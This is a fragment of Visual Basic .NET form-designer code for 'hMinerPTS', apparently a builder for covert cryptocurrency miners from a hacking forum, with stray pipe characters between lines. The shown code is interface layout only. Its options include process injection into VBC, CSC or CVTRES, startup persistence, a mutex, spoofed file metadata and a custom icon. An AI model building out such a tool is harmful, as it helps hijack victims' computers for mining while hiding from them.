Me.checkMutex.Location = New System.Drawing.Point(247, 139)
|
||||
Me.checkMutex.Name = "checkMutex"
|
||||
Me.checkMutex.Options = hMinerPTS.FlatCheckBox._Options.Style1
|
||||
Me.checkMutex.Size = New System.Drawing.Size(21, 22)
|
||||
Me.checkMutex.TabIndex = 12
|
||||
Me.checkMutex.Text = "FlatCheckBox2"
|
||||
'
|
||||
'tbStartup
|
||||
'
|
||||
Me.tbStartup.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbStartup.Enabled = False
|
||||
Me.tbStartup.Location = New System.Drawing.Point(247, 97)
|
||||
Me.tbStartup.MaxLength = 32767
|
||||
Me.tbStartup.Multiline = False
|
||||
Me.tbStartup.Name = "tbStartup"
|
||||
Me.tbStartup.ReadOnly = False
|
||||
Me.tbStartup.Size = New System.Drawing.Size(121, 29)
|
||||
Me.tbStartup.TabIndex = 10
|
||||
Me.tbStartup.Text = "Startupkey"
|
||||
Me.tbStartup.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbStartup.TextColor = System.Drawing.Color.Silver
|
||||
Me.tbStartup.UseSystemPasswordChar = False
|
||||
'
|
||||
'checkStartup
|
||||
'
|
||||
Me.checkStartup.BackColor = System.Drawing.Color.White
|
||||
Me.checkStartup.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.checkStartup.BorderColor = System.Drawing.Color.RoyalBlue
|
||||
Me.checkStartup.Checked = False
|
||||
Me.checkStartup.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.checkStartup.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.checkStartup.Location = New System.Drawing.Point(247, 74)
|
||||
Me.checkStartup.Name = "checkStartup"
|
||||
Me.checkStartup.Options = hMinerPTS.FlatCheckBox._Options.Style1
|
||||
Me.checkStartup.Size = New System.Drawing.Size(21, 22)
|
||||
Me.checkStartup.TabIndex = 8
|
||||
Me.checkStartup.Text = "FlatCheckBox1"
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Me.Label6.AutoSize = True
|
||||
Me.Label6.Location = New System.Drawing.Point(263, 75)
|
||||
Me.Label6.Name = "Label6"
|
||||
Me.Label6.Size = New System.Drawing.Size(54, 19)
|
||||
Me.Label6.TabIndex = 9
|
||||
Me.Label6.Text = "Startup"
|
||||
'
|
||||
'comboInject
|
||||
'
|
||||
Me.comboInject.BackColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(45, Byte), Integer), CType(CType(48, Byte), Integer))
|
||||
Me.comboInject.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.comboInject.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Me.comboInject.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Me.comboInject.Font = New System.Drawing.Font("Segoe UI", 8.0!)
|
||||
Me.comboInject.ForeColor = System.Drawing.Color.White
|
||||
Me.comboInject.FormattingEnabled = True
|
||||
Me.comboInject.HoverColor = System.Drawing.Color.RoyalBlue
|
||||
Me.comboInject.ItemHeight = 18
|
||||
Me.comboInject.Items.AddRange(New Object() {"VBC", "CSC", "CVTRES"})
|
||||
Me.comboInject.Location = New System.Drawing.Point(247, 32)
|
||||
Me.comboInject.Name = "comboInject"
|
||||
Me.comboInject.Size = New System.Drawing.Size(121, 24)
|
||||
Me.comboInject.TabIndex = 7
|
||||
'
|
||||
'Label5
|
||||
'
|
||||
Me.Label5.AutoSize = True
|
||||
Me.Label5.Location = New System.Drawing.Point(243, 10)
|
||||
Me.Label5.Name = "Label5"
|
||||
Me.Label5.Size = New System.Drawing.Size(74, 19)
|
||||
Me.Label5.TabIndex = 6
|
||||
Me.Label5.Text = "Inject Into:"
|
||||
'
|
||||
'tbPass
|
||||
'
|
||||
Me.tbPass.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbPass.Location = New System.Drawing.Point(10, 162)
|
||||
Me.tbPass.MaxLength = 32767
|
||||
Me.tbPass.Multiline = False
|
||||
Me.tbPass.Name = "tbPass"
|
||||
Me.tbPass.ReadOnly = False
|
||||
Me.tbPass.Size = New System.Drawing.Size(175, 29)
|
||||
Me.tbPass.TabIndex = 5
|
||||
Me.tbPass.Text = "x"
|
||||
Me.tbPass.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbPass.TextColor = System.Drawing.Color.White
|
||||
Me.tbPass.UseSystemPasswordChar = False
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Me.Label4.AutoSize = True
|
||||
Me.Label4.Location = New System.Drawing.Point(6, 140)
|
||||
Me.Label4.Name = "Label4"
|
||||
Me.Label4.Size = New System.Drawing.Size(70, 19)
|
||||
Me.Label4.TabIndex = 4
|
||||
Me.Label4.Text = "Password:"
|
||||
'
|
||||
'tbWorker
|
||||
'
|
||||
Me.tbWorker.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbWorker.Location = New System.Drawing.Point(10, 97)
|
||||
Me.tbWorker.MaxLength = 32767
|
||||
Me.tbWorker.Multiline = False
|
||||
Me.tbWorker.Name = "tbWorker"
|
||||
Me.tbWorker.ReadOnly = False
|
||||
Me.tbWorker.Size = New System.Drawing.Size(175, 29)
|
||||
Me.tbWorker.TabIndex = 3
|
||||
Me.tbWorker.Text = "Example.PTS"
|
||||
Me.tbWorker.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbWorker.TextColor = System.Drawing.Color.White
|
||||
Me.tbWorker.UseSystemPasswordChar = False
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Me.Label3.AutoSize = True
|
||||
Me.Label3.Location = New System.Drawing.Point(6, 75)
|
||||
Me.Label3.Name = "Label3"
|
||||
Me.Label3.Size = New System.Drawing.Size(57, 19)
|
||||
Me.Label3.TabIndex = 2
|
||||
Me.Label3.Text = "Worker:"
|
||||
'
|
||||
'tbURL
|
||||
'
|
||||
Me.tbURL.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbURL.Location = New System.Drawing.Point(10, 32)
|
||||
Me.tbURL.MaxLength = 32767
|
||||
Me.tbURL.Multiline = False
|
||||
Me.tbURL.Name = "tbURL"
|
||||
Me.tbURL.ReadOnly = False
|
||||
Me.tbURL.Size = New System.Drawing.Size(175, 29)
|
||||
Me.tbURL.TabIndex = 1
|
||||
Me.tbURL.Text = "ypool.net"
|
||||
Me.tbURL.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbURL.TextColor = System.Drawing.Color.White
|
||||
Me.tbURL.UseSystemPasswordChar = False
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.Location = New System.Drawing.Point(6, 10)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(68, 19)
|
||||
Me.Label2.TabIndex = 0
|
||||
Me.Label2.Text = "Pool URL:"
|
||||
'
|
||||
'Label7
|
||||
'
|
||||
Me.Label7.AutoSize = True
|
||||
Me.Label7.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label7.Location = New System.Drawing.Point(263, 140)
|
||||
Me.Label7.Name = "Label7"
|
||||
Me.Label7.Size = New System.Drawing.Size(48, 19)
|
||||
Me.Label7.TabIndex = 11
|
||||
Me.Label7.Text = "Mutex"
|
||||
'
|
||||
'pageAssembly
|
||||
'
|
||||
Me.pageAssembly.BackColor = System.Drawing.Color.White
|
||||
Me.pageAssembly.Controls.Add(Me.btIconBrowse)
|
||||
Me.pageAssembly.Controls.Add(Me.checkIcon)
|
||||
Me.pageAssembly.Controls.Add(Me.Label11)
|
||||
Me.pageAssembly.Controls.Add(Me.fv4)
|
||||
Me.pageAssembly.Controls.Add(Me.fv3)
|
||||
Me.pageAssembly.Controls.Add(Me.fv2)
|
||||
Me.pageAssembly.Controls.Add(Me.fv1)
|
||||
Me.pageAssembly.Controls.Add(Me.Label10)
|
||||
Me.pageAssembly.Controls.Add(Me.pv4)
|
||||
Me.pageAssembly.Controls.Add(Me.pv3)
|
||||
Me.pageAssembly.Controls.Add(Me.pv2)
|
||||
Me.pageAssembly.Controls.Add(Me.pv1)
|
||||
Me.pageAssembly.Controls.Add(Me.Label9)
|
||||
Me.pageAssembly.Controls.Add(Me.tbTitle)
|
||||
Me.pageAssembly.Controls.Add(Me.tbCopyright)
|
||||
Me.pageAssembly.Controls.Add(Me.tbProduct)
|
||||
Me.pageAssembly.Controls.Add(Me.tbCompany)
|
||||
Me.pageAssembly.Controls.Add(Me.tbTrademark)
|
||||
Me.pageAssembly.Controls.Add(Me.tbDesc)
|
||||
Me.pageAssembly.Controls.Add(Me.Label8)
|
||||
Me.pageAssembly.Controls.Add(Me.previewIcon)
|
||||
Me.pageAssembly.Location = New System.Drawing.Point(4, 44)
|
||||
Me.pageAssembly.Name = "pageAssembly"
|
||||
Me.pageAssembly.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.pageAssembly.Size = New System.Drawing.Size(494, 295)
|
||||
Me.pageAssembly.TabIndex = 1
|
||||
Me.pageAssembly.Text = "Assembly"
|
||||
'
|
||||
'btIconBrowse
|
||||
'
|
||||
Me.btIconBrowse.BackColor = System.Drawing.Color.Transparent
|
||||
Me.btIconBrowse.BaseColor = System.Drawing.Color.RoyalBlue
|
||||
Me.btIconBrowse.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.btIconBrowse.Enabled = False
|
||||
Me.btIconBrowse.Font = New System.Drawing.Font("Segoe UI", 12.0!)
|
||||
Me.btIconBrowse.Location = New System.Drawing.Point(366, 165)
|
||||
Me.btIconBrowse.Name = "btIconBrowse"
|
||||
Me.btIconBrowse.Rounded = False
|
||||
Me.btIconBrowse.Size = New System.Drawing.Size(106, 32)
|
||||
Me.btIconBrowse.TabIndex = 20
|
||||
Me.btIconBrowse.Text = "Browse"
|
||||
Me.btIconBrowse.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer))
|
||||
'
|
||||
'checkIcon
|
||||
'
|
||||
Me.checkIcon.BackColor = System.Drawing.Color.White
|
||||
Me.checkIcon.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.checkIcon.BorderColor = System.Drawing.Color.RoyalBlue
|
||||
Me.checkIcon.Checked = False
|
||||
Me.checkIcon.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.checkIcon.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.checkIcon.Location = New System.Drawing.Point(354, 9)
|
||||
Me.checkIcon.Name = "checkIcon"
|
||||
Me.checkIcon.Options = hMinerPTS.FlatCheckBox._Options.Style1
|
||||
Me.checkIcon.Size = New System.Drawing.Size(21, 22)
|
||||
Me.checkIcon.TabIndex = 18
|
||||
Me.checkIcon.Text = "FlatCheckBox2"
|
||||
'
|
||||
'Label11
|
||||
'
|
||||
Me.Label11.AutoSize = True
|
||||
Me.Label11.Location = New System.Drawing.Point(370, 10)
|
||||
Me.Label11.Name = "Label11"
|
||||
Me.Label11.Size = New System.Drawing.Size(114, 19)
|
||||
Me.Label11.TabIndex = 17
|
||||
Me.Label11.Text = "Use Custom Icon"
|
||||
'
|
||||
'fv4
|
||||
'
|
||||
Me.fv4.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.fv4.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.fv4.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.fv4.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.fv4.ForeColor = System.Drawing.Color.White
|
||||
Me.fv4.Location = New System.Drawing.Point(235, 241)
|
||||
Me.fv4.Maximum = CType(9999999, Long)
|
||||
Me.fv4.Minimum = CType(0, Long)
|
||||
Me.fv4.Name = "fv4"
|
||||
Me.fv4.Size = New System.Drawing.Size(65, 30)
|
||||
Me.fv4.TabIndex = 16
|
||||
Me.fv4.Text = "fv4"
|
||||
Me.fv4.Value = CType(0, Long)
|
||||
'
|
||||
'fv3
|
||||
'
|
||||
Me.fv3.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.fv3.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.fv3.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.fv3.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.fv3.ForeColor = System.Drawing.Color.White
|
||||
Me.fv3.Location = New System.Drawing.Point(160, 241)
|
||||
Me.fv3.Maximum = CType(9999999, Long)
|
||||
Me.fv3.Minimum = CType(0, Long)
|
||||
Me.fv3.Name = "fv3"
|
||||
Me.fv3.Size = New System.Drawing.Size(65, 30)
|
||||
Me.fv3.TabIndex = 15
|
||||
Me.fv3.Text = "fv3"
|
||||
Me.fv3.Value = CType(0, Long)
|
||||
'
|
||||
'fv2
|
||||
'
|
||||
Me.fv2.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.fv2.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.fv2.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.fv2.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.fv2.ForeColor = System.Drawing.Color.White
|
||||
Me.fv2.Location = New System.Drawing.Point(85, 241)
|
||||
Me.fv2.Maximum = CType(9999999, Long)
|
||||
Me.fv2.Minimum = CType(0, Long)
|
||||
Me.fv2.Name = "fv2"
|
||||
Me.fv2.Size = New System.Drawing.Size(65, 30)
|
||||
Me.fv2.TabIndex = 14
|
||||
Me.fv2.Text = "fv2"
|
||||
Me.fv2.Value = CType(0, Long)
|
||||
'
|
||||
'fv1
|
||||
'
|
||||
Me.fv1.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.fv1.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.fv1.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.fv1.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.fv1.ForeColor = System.Drawing.Color.White
|
||||
Me.fv1.Location = New System.Drawing.Point(10, 241)
|
||||
Me.fv1.Maximum = CType(9999999, Long)
|
||||
Me.fv1.Minimum = CType(0, Long)
|
||||
Me.fv1.Name = "fv1"
|
||||
Me.fv1.Size = New System.Drawing.Size(65, 30)
|
||||
Me.fv1.TabIndex = 13
|
||||
Me.fv1.Text = "fv1"
|
||||
Me.fv1.Value = CType(0, Long)
|
||||
'
|
||||
'Label10
|
||||
'
|
||||
Me.Label10.AutoSize = True
|
||||
Me.Label10.Location = New System.Drawing.Point(6, 219)
|
||||
Me.Label10.Name = "Label10"
|
||||
Me.Label10.Size = New System.Drawing.Size(82, 19)
|
||||
Me.Label10.TabIndex = 12
|
||||
Me.Label10.Text = "File Version:"
|
||||
'
|
||||
'pv4
|
||||
'
|
||||
Me.pv4.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.pv4.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.pv4.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.pv4.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.pv4.ForeColor = System.Drawing.Color.White
|
||||
Me.pv4.Location = New System.Drawing.Point(235, 175)
|
||||
Me.pv4.Maximum = CType(9999999, Long)
|
||||
Me.pv4.Minimum = CType(0, Long)
|
||||
Me.pv4.Name = "pv4"
|
||||
Me.pv4.Size = New System.Drawing.Size(65, 30)
|
||||
Me.pv4.TabIndex = 11
|
||||
Me.pv4.Text = "pv4"
|
||||
Me.pv4.Value = CType(0, Long)
|
||||
'
|
||||
'pv3
|
||||
'
|
||||
Me.pv3.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.pv3.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.pv3.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.pv3.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.pv3.ForeColor = System.Drawing.Color.White
|
||||
Me.pv3.Location = New System.Drawing.Point(160, 175)
|
||||
Me.pv3.Maximum = CType(9999999, Long)
|
||||
Me.pv3.Minimum = CType(0, Long)
|
||||
Me.pv3.Name = "pv3"
|
||||
Me.pv3.Size = New System.Drawing.Size(65, 30)
|
||||
Me.pv3.TabIndex = 10
|
||||
Me.pv3.Text = "pv3"
|
||||
Me.pv3.Value = CType(0, Long)
|
||||
'
|
||||
'pv2
|
||||
'
|
||||
Me.pv2.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.pv2.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.pv2.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.pv2.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.pv2.ForeColor = System.Drawing.Color.White
|
||||
Me.pv2.Location = New System.Drawing.Point(85, 175)
|
||||
Me.pv2.Maximum = CType(9999999, Long)
|
||||
Me.pv2.Minimum = CType(0, Long)
|
||||
Me.pv2.Name = "pv2"
|
||||
Me.pv2.Size = New System.Drawing.Size(65, 30)
|
||||
Me.pv2.TabIndex = 9
|
||||
Me.pv2.Text = "pv2"
|
||||
Me.pv2.Value = CType(0, Long)
|
||||
'
|
||||
'pv1
|
||||
'
|
||||
Me.pv1.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer))
|
||||
Me.pv1.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Me.pv1.ButtonColor = System.Drawing.Color.RoyalBlue
|
||||
Me.pv1.Font = New System.Drawing.Font("Segoe UI", 10.0!)
|
||||
Me.pv1.ForeColor = System.Drawing.Color.White
|
||||
Me.pv1.Location = New System.Drawing.Point(10, 175)
|
||||
Me.pv1.Maximum = CType(9999999, Long)
|
||||
Me.pv1.Minimum = CType(0, Long)
|
||||
Me.pv1.Name = "pv1"
|
||||
Me.pv1.Size = New System.Drawing.Size(65, 30)
|
||||
Me.pv1.TabIndex = 8
|
||||
Me.pv1.Text = "pv1"
|
||||
Me.pv1.Value = CType(0, Long)
|
||||
'
|
||||
'Label9
|
||||
'
|
||||
Me.Label9.AutoSize = True
|
||||
Me.Label9.Location = New System.Drawing.Point(6, 153)
|
||||
Me.Label9.Name = "Label9"
|
||||
Me.Label9.Size = New System.Drawing.Size(110, 19)
|
||||
Me.Label9.TabIndex = 7
|
||||
Me.Label9.Text = "Product Version:"
|
||||
'
|
||||
'tbTitle
|
||||
'
|
||||
Me.tbTitle.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbTitle.Location = New System.Drawing.Point(158, 102)
|
||||
Me.tbTitle.MaxLength = 32767
|
||||
Me.tbTitle.Multiline = False
|
||||
Me.tbTitle.Name = "tbTitle"
|
||||
Me.tbTitle.ReadOnly = False
|
||||
Me.tbTitle.Size = New System.Drawing.Size(142, 29)
|
||||
Me.tbTitle.TabIndex = 6
|
||||
Me.tbTitle.Text = "Title"
|
||||
Me.tbTitle.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbTitle.TextColor = System.Drawing.Color.White
|
||||
Me.tbTitle.UseSystemPasswordChar = False
|
||||
'
|
||||
'tbCopyright
|
||||
'
|
||||
Me.tbCopyright.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbCopyright.Location = New System.Drawing.Point(10, 102)
|
||||
Me.tbCopyright.MaxLength = 32767
|
||||
Me.tbCopyright.Multiline = False
|
||||
Me.tbCopyright.Name = "tbCopyright"
|
||||
Me.tbCopyright.ReadOnly = False
|
||||
Me.tbCopyright.Size = New System.Drawing.Size(142, 29)
|
||||
Me.tbCopyright.TabIndex = 5
|
||||
Me.tbCopyright.Text = "Copyright"
|
||||
Me.tbCopyright.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbCopyright.TextColor = System.Drawing.Color.White
|
||||
Me.tbCopyright.UseSystemPasswordChar = False
|
||||
'
|
||||
'tbProduct
|
||||
'
|
||||
Me.tbProduct.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbProduct.Location = New System.Drawing.Point(158, 67)
|
||||
Me.tbProduct.MaxLength = 32767
|
||||
Me.tbProduct.Multiline = False
|
||||
Me.tbProduct.Name = "tbProduct"
|
||||
Me.tbProduct.ReadOnly = False
|
||||
Me.tbProduct.Size = New System.Drawing.Size(142, 29)
|
||||
Me.tbProduct.TabIndex = 4
|
||||
Me.tbProduct.Text = "Product"
|
||||
Me.tbProduct.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbProduct.TextColor = System.Drawing.Color.White
|
||||
Me.tbProduct.UseSystemPasswordChar = False
|
||||
'
|
||||
'tbCompany
|
||||
'
|
||||
Me.tbCompany.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbCompany.Location = New System.Drawing.Point(10, 67)
|
||||
Me.tbCompany.MaxLength = 32767
|
||||
Me.tbCompany.Multiline = False
|
||||
Me.tbCompany.Name = "tbCompany"
|
||||
Me.tbCompany.ReadOnly = False
|
||||
Me.tbCompany.Size = New System.Drawing.Size(142, 29)
|
||||
Me.tbCompany.TabIndex = 3
|
||||
Me.tbCompany.Text = "Company"
|
||||
Me.tbCompany.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbCompany.TextColor = System.Drawing.Color.White
|
||||
Me.tbCompany.UseSystemPasswordChar = False
|
||||
'
|
||||
'tbTrademark
|
||||
'
|
||||
Me.tbTrademark.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbTrademark.Location = New System.Drawing.Point(158, 32)
|
||||
Me.tbTrademark.MaxLength = 32767
|
||||
Me.tbTrademark.Multiline = False
|
||||
Me.tbTrademark.Name = "tbTrademark"
|
||||
Me.tbTrademark.ReadOnly = False
|
||||
Me.tbTrademark.Size = New System.Drawing.Size(142, 29)
|
||||
Me.tbTrademark.TabIndex = 2
|
||||
Me.tbTrademark.Text = "Trademark"
|
||||
Me.tbTrademark.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbTrademark.TextColor = System.Drawing.Color.White
|
||||
Me.tbTrademark.UseSystemPasswordChar = False
|
||||
'
|
||||
'tbDesc
|
||||
'
|
||||
Me.tbDesc.BackColor = System.Drawing.Color.Transparent
|
||||
Me.tbDesc.Location = New System.Drawing.Point(10, 32)
|
||||
Me.tbDesc.MaxLength = 32767
|
||||
Me.tbDesc.Multiline = False
|
||||
Me.tbDesc.Name = "tbDesc"
|
||||
Me.tbDesc.ReadOnly = False
|
||||
Me.tbDesc.Size = New System.Drawing.Size(142, 29)
|
||||
Me.tbDesc.TabIndex = 1
|
||||
Me.tbDesc.Text = "Description"
|
||||
Me.tbDesc.TextAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Me.tbDesc.TextColor = System.Drawing.Color.White
|
||||
Me.tbDesc.UseSystemPasswordChar = False
|
||||
'
|
||||
'Label8
|
||||
'
|
||||
Me.Label8.AutoSize = True
|
||||
Me.Label8.Location = New System.Drawing.Point(6, 10)
|
||||
Me.Label8.Name = "Label8"
|
||||
Me.Label8.Size = New System.Drawing.Size(146, 19)
|
||||
Me.Label8.TabIndex = 0
|
||||
Me.Label8.Text = "Assembly Information:"
|
||||
'
|
||||
'previewIcon
|
||||
'
|
||||
Me.previewIcon.BackColor = System.Drawing.Color.Gainsboro
|
||||
Me.previewIcon.Location = New System.Drawing.Point(355, 32)
|
||||
Me.previewIcon.Name = "previewIcon"
|
||||
Me.previewIcon.Size = New System.Drawing.Size(128, 128)
|
||||
Me.previewIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.previewIcon.TabIndex = 19
|
||||
Me.previewIcon.TabStop = False
|
||||
'
|
||||
'pageBuild
|
||||
'
|
||||
Me.pageBuild.BackColor = System.Drawing.Color.White
|
||||
Me.pageBuild.Controls.Add(Me.btBuild)
|
||||
Me.pageBuild.Controls.Add(Me.Label12)
|
||||
Me.pageBuild.Location = New System.Drawing.Point(4, 44)
|
||||
Me.pageBuild.Name = "pageBuild"
|
||||
Me.pageBuild.Size = New System.Drawing.Size(494, 295)
|
||||
Me.pageBuild.TabIndex = 2
|
||||
Me.pageBuild.Text = "Build"
|
||||
'
|
||||
'btBuild
|
||||
'
|
||||
Me.btBuild.Image = CType(resources.GetObject("btBuild.Image"), System.Drawing.Image)
|
||||
Me.btBuild.InitialImage = CType(resources.GetObject("btBuild.InitialImage"), System.Drawing.Image)
|
||||
Me.btBuild.Location = New System.Drawing.Point(126, 47)
|
||||
Me.btBuild.Name = "btBuild"
|
||||
Me.btBuild.Size = New System.Drawing.Size(232, 232)
|
||||
Me.btBuild.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
Me.btBuild.TabIndex = 1
|
||||
Me.btBuild.TabStop = False
|
||||
'
|
||||
'Label12
|
||||
'
|
||||
Me.Label12.AutoSize = True
|
||||
Me.Label12.Font = New System.Drawing.Font("Segoe UI", 15.0!)
|
||||
Me.Label12.Location = New System.Drawing.Point(80, 10)
|
||||
Me.Label12.Name = "Label12"
|
||||
Me.Label12.Size = New System.Drawing.Size(351, 28)
|
||||
Me.Label12.TabIndex = 0
|
||||
Me.Label12.Text = "Press the Button to build miner output."
|
||||
'
|
||||
'pageAbout
|
||||
'
|
||||
Me.pageAbout.BackColor = System.Drawing.Color.White
|
||||
Me.pageAbout.Controls.Add(Me.Label18)
|
||||
Me.pageAbout.Controls.Add(Me.Label17)
|
||||
Me.pageAbout.Location = New System.Drawing.Point(4, 44)
|
||||
Me.pageAbout.Name = "pageAbout"
|
||||
Me.pageAbout.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.pageAbout.Size = New System.Drawing.Size(494, 295)
|
||||
Me.pageAbout.TabIndex = 3
|
||||
Me.pageAbout.Text = "About"
|
||||
'
|
||||
'Label18
|
||||
'
|
||||
Me.Label18.Location = New System.Drawing.Point(160, 97)
|
||||
Me.Label18.Name = "Label18"
|
||||
Me.Label18.Size = New System.Drawing.Size(146, 46)
|
||||
Me.Label18.TabIndex = 1
|
||||
Me.Label18.Text = "Please visit www.HackerTalk.net" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10)
|
||||
'
|
||||
'Label17
|
||||
'
|
||||
Me.Label17.AutoSize = True
|
||||
Me.Label17.Location = New System.Drawing.Point(160, 73)
|
||||
Me.Label17.Name = "Label17"
|
||||
Me.Label17.Size = New System.Drawing.Size(223, 19)
|
||||
Me.Label17.TabIndex = 0
|
||||
Me.Label17.Text = "Program created by HackerTalk.net"
|
||||
'
|
||||
'btMinimize
|
||||
'
|
||||
Me.btMinimize.BackColor = System.Drawing.Color.Transparent
|
||||
Me.btMinimize.BaseColor = System.Drawing.Color.DarkGray
|
||||
Me.btMinimize.Cursor = System.Windows.Forms.Cursors.Hand
|
||||
Me.btMinimize.Font = New System.Drawing.Font("Segoe UI", 12.0!)
|
||||
Me.btMinimize.Location = New System.Drawing.Point(465, 13)
|
||||
Me.btMinimize.Name = "btMinimize"
|
||||
Me.btMinimize.Rounded = False
|
||||
Me.btMinimize.Size = New System.Drawing.Size(18, 18)
|
||||
Me.btMinimize.TabIndex = 2
|
||||
Me.btMinimize.Text = "_"
|
||||
Me.btMinimize.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer))
|
||||
'
|
||||
'FlatClose1
|
||||
'
|
||||
Me.FlatClose1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
|
||||
Me.FlatClose1.BackColor = System.Drawing.Color.White
|
||||
Me.FlatClose1.BaseColor = System.Drawing.Color.FromArgb(CType(CType(168, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer))
|
||||
Me.FlatClose1.Font = New System.Drawing.Font("Marlett", 10.0!)
|
||||
Me.FlatClose1.Location = New System.Drawing.Point(1009, 12)
|
||||
Me.FlatClose1.Name = "FlatClose1"
|
||||
